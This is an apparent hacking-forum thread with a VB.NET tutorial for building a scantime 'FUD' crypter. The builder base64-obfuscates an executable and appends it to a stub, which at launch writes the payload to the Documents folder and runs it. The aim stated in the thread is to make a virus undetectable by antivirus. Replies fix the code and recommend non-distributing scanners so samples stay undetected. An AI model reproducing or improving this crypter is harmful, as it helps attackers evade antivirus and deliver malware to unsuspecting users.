Thread: [ScanTime Crypter \[FUD \]](#)

xeinebiu - April 18, 2015, 3:47 pm

Hi guys ...

I created this thread to learn something together about creating a ScanTime Crypter . Scantime crypters are not very helpful because they are Undetectable just in scanning time but if it start to run the virus it will be detected ...

Open Project

Add 2 Open File Dialogs

Add Button1 (will use this button to open our file which we want to crypt)

In this Button add this Code

```
Code Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
    OpenFileDialog1.ShowDialog()
```

```
End Sub
```

Add Button2 (will use this button to open the stub)

```
Code Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
    OpenFileDialog2.ShowDialog()
```

```
End Sub
```

Add this function

```
Code Public Function crp(file As String)
```

```
    Try
```

```
        Dim filesbytes As Byte() = IO.File.ReadAllBytes(file) ' Reads binary from file
```

```
        Dim base64x As String = Convert.ToBase64String(filesbytes) 'Bytes get converted to base64
```

```
string
```

```
        Dim modifiedbase64 As String = base64x.Replace("A", "$")
```

```
        Return modifiedbase64
```

```
    Catch ex As Exception
```

```
    End Try
```

```
End Function
```

Add Button3

The Button3 will be used to crypt our file

```
Code Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
```

```
    Try
```

```
        SaveFileDialog1.ShowDialog()
```

```
        IO.File.Copy(OpenFileDialog2.FileName, SaveFileDialog1.FileName)
```

' this will get the name and the extension of our file (you can use any method you want for filename

```
        Dim filename As String = IO.Path.GetFileName(OpenFileDialog1.FileName)
```

'This code will help us for splitting our code

```
        Dim sep As String = "#tutorial#" ' you can write your own text
```

'the content we will write to the stb ...

Dim content As String = sep & crp(OpenFileDialog1.FileName) & sep & filename

'writtes our file into stb ...

IO.File.AppendAllText(SaveFileDialog1.FileName, content)

MsgBox("done")

Catch ex As Exception

End Try

End Sub

Open New Project (STUB)

In Form Load Event add this code

Code Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

Try

'you can choose your desired location

Dim LOL As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)

'will read all text of stub

Dim bintext As String = IO.File.ReadAllText(Application.ExecutablePath)

'will split the bintext

Dim sep() As String = Split(bintext, "#tutorial#")

'get the string we have written in stub

Dim base6 As String = sep(1)

'write the original bytes

IO.File.WriteAllBytes(LOL & "\" & sep(2), Convert.FromBase64String(base6.Replace("\$", "A")))

'start process

Process.Start(LOL & "\" & sep(2)) 'sep(2) is the filename

'close after all these codes are executed

Me.Close()

Catch ex As Exception

End Try

End Sub

Done

Stub Scan Results

Hope it will help someone ...

Fr?sh - April 18, 2015, 3:47 pm

Looks nice dude

May try it out later

Yeah bro i tried to make it as simple as i can ...

It Is HQ Post but mabye can help someone to get a little bit knowledge ...

stunk - April 18, 2015, 6:58 pm

I like it... But I get an error:

Code Function 'crp' doesn't return a value on all code paths. A null reference exception could occur at run time when the result is used. C:\Users\snip-\documents\visual studio 2013\Projects\WindowsApplication3\WindowsApplication3\Form1.vb 17 5 WindowsApplication3

Not an error but a warning and its because in

Code Try

Catch

end try

There is no error handling so if an error occurs while trying to replace the base64 text the function wont return a value

From the looks you dont really need the try catch i dont see it ever failing, but if you want to make sure it doesn't just grab the first Char of the base64 string and exchange that char with \$ instead of specifically A

Blue Eyes - April 18, 2015, 9:53 pm

Not bad, but hey have spent on VirusTotal ...

He will not stay much time FUD

Next time used razorscanner or another that no distributed file

Oliver Sykes - April 18, 2015, 10:33 pm

Nice with the VT scan; will encourage them to refud themselves. Pretty self-explanatory, but eh.

What is the best site to scan it ? Like VT ?

Anemone¹ - April 18, 2015, 11:24 pm

What is the best site to scan it ? Like VT ?
He may have Strict compiling on which will throw errors even if they're warnings

Also the three best sites i know are:

<http://www.refud.me/scan.php>
<http://nodistribute.com/>
<http://fuckingscan.me/>

The only one that has a limit is no distribute which is 4 files daily others are limit-less
